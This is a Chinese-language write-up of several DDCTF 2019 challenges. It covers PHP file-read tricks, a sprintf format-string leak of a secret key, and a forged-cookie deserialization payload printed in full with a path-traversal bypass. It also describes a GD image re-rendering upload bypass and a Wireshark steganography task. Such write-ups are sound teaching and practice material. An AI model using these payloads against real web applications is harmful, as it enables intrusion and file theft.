0x00前言
上周五開始的DDCTF 2019,整個比賽有一周,題目整體來說感覺很不錯,可惜我太菜了,做了4+1道題,還是要努力吧
0x01 web 滴~
打開看着url,就像文件包含
文件名1次hex編碼再2次編碼,因此base64 2次解碼+hex解碼獲取值為flag.jpg
並且查看頁面源碼圖片是base64的編碼,根據規律查看index.php的源碼,在<img>標簽內base64解碼就是php的源碼
<?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */ error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'); $file = hex2bin(base64_decode(base64_decode($_GET['jpg']))); echo '<title>'.$_GET['jpg'].'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.'</br>'; $file = str_replace("config","!", $file); echo $file.'</br>'; $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
這道題之后十分的腦洞.....先說源碼繞是繞不過的,config被替換!,是看不到config.php源碼的
但是源碼給了博客的地址,訪問下,然后根據下面師傅們的評論,發現是這個作者的另一篇文章有線索
里面有個該博主拿出來的示例文件叫.practice.txt.swp
然后進行測試發現有個practice.txt.swp文件
之后思路非常清晰了,和BCTF上的一道題很像
源碼第一個正則不准有!存在,而第二個替換把config替換成!
最后的payload:
f1agconfigddctf.php
編碼后:
TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
利用index.php的文件包含,獲取f1ag!ddctf.php源碼
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
到這里就是變量覆蓋+file_get_contents的php://input來獲取2個值相等了
0x02 web 簽到題
看源碼有個onload
auth()函數在js/index.js里面
一個ajax請求,請求頭帶了個didictf_username,但是是空,結合題目界面需要登錄權限,隨便改個admin,於是獲取源碼
訪問app/fL2XID2i0Cdh.php是2個類的源代碼
<?php Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; return true; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您沒有登陸權限,請獲取權限后訪問-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } } ?>
和繼承Application 類的Session類
<?php include 'Application.php'; class Session extends Application { //key建議為8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index(); ?>
看了看代碼,思路是用Application類的__destruct()魔術方法來讀取文件,也就是反序列化
Session類這段代碼的邏輯是這樣的
session_create()會接收USER_AGENT、REMOTE_ADDR和隨機生成個sessionid,這三個值加入數組序列化這個數組,用秘鑰key加鹽,然后求md5值
而利用點是session_read()方法內的反序列化操作,但是前提是md5值和傳入的序列化值要相同,因此我們需要知道鹽key的值
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }
在session_read()后會接收nickname的post請求並會將其賦值給$data輸出,但是%s被賦值后,就不會再被賦值,而nickname會被先賦值,eancrykey后被賦值
按正常邏輯
Welcome my friend %s 第一次循環,%s -> nickname Welcome my friend nickname 第二次循環,沒有%s了,因此eancrykey不會被加入該字符串 Welcome my friend nickname
所有這里有個tips,如果我們傳入的nickname是%s的話,那么第一次循環后還是有%s,那么eancrykey這個鹽值就會顯示出來
第一次請求,獲取cookie
第二次請求帶nickname的post
獲取朝思暮想的鹽:EzblrbNS
之后反序列化payload,這里提一句反序列化操作后還會判讀頭部文件和傳過來的cookie的序列化值是否相同,但是這都不影響序列化的輸出,所以可以無視后面的操作
<?php Class Application { var $path = '..././config/flag.txt'; } $class = new Application(); $userdata = array( 'session_id' => '', 'ip_address' => '', 'user_agent' => $class, 'user_data' => '', ); $data1 = serialize($userdata); $data2 = md5("EzblrbNS" . $data1); echo $data1 . $data2; ?>
源碼中的 ../會被替換成空,利用 ..././繞過,因為現在18個字符,我數了下猜測可能會有個flag.txt,剛好夠18個。(如果不滿足18個條件其實可以用./和/來增加字符)
a:4:{s:10:"session_id";s:0:"";s:10:"ip_address";s:0:"";s:10:"user_agent";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}s:9:"user_data";s:0:"";}a8c64448c11924176c37347975843367
發送的時候url編個碼,防止;的問題
0x03 web upload-img
之后會返回,我試着在圖片中加入phpinfo(),也不行
這道題主要是思路,最先看不出個所以然,后面有位師傅提示返回的圖片和上傳的圖片不一樣的
因此估計是圖片上傳,經過圖片庫函數處理,再返回給我們,也就是所謂的二次渲染(在做這題之前還不知道二次渲染是啥orz)
這里推測是GD庫來處理圖片,查了一波資料這篇文章和這道題很像
文章提到的腳本我是從這里搞到的
https://wiki.ioin.in/soft/detail/1q
之后把腳本中的值改一下,改成phpinfo()
然后確保運行的環境有gd庫,對圖片進行處理
php jsp_payload.php xx.jpg
把處理后的圖片上傳
有時候一張圖片不行,換一張,我這里換了4張,終於成功了。
0x04 misc wireshark
這道題看着200分,我覺得是算簡單的吧
wireshark打開數據包,利用http過濾,發現是有http請求的,數據並不多
導出下對象(文件->導出對象->http..)
第一個請求的信息,找對相應的數據包,追蹤下http流
本地瀏覽器打開這個網站,是個圖片加密的網站
現在是為了找到密碼key,和隱藏信息的圖片了,繼續看導出對象內容,最后有個png,但那是假的,原理和web的upload-img差不多,是通過網站二次渲染,里面的隱寫信息被渲染掉了
要注意的是2個multipart/form-data類型傳輸的文件
這2個包里分別有2張圖片,找到對應數據包的對應圖片傳輸字段,右鍵->導出分組字節流
利用該方法得到2張圖片
11.png改變高度,獲得key,(02->03)
拿這個key在最先提到的解密網站解密第二張圖片
把其中的4444....7D用hex解碼,得到flag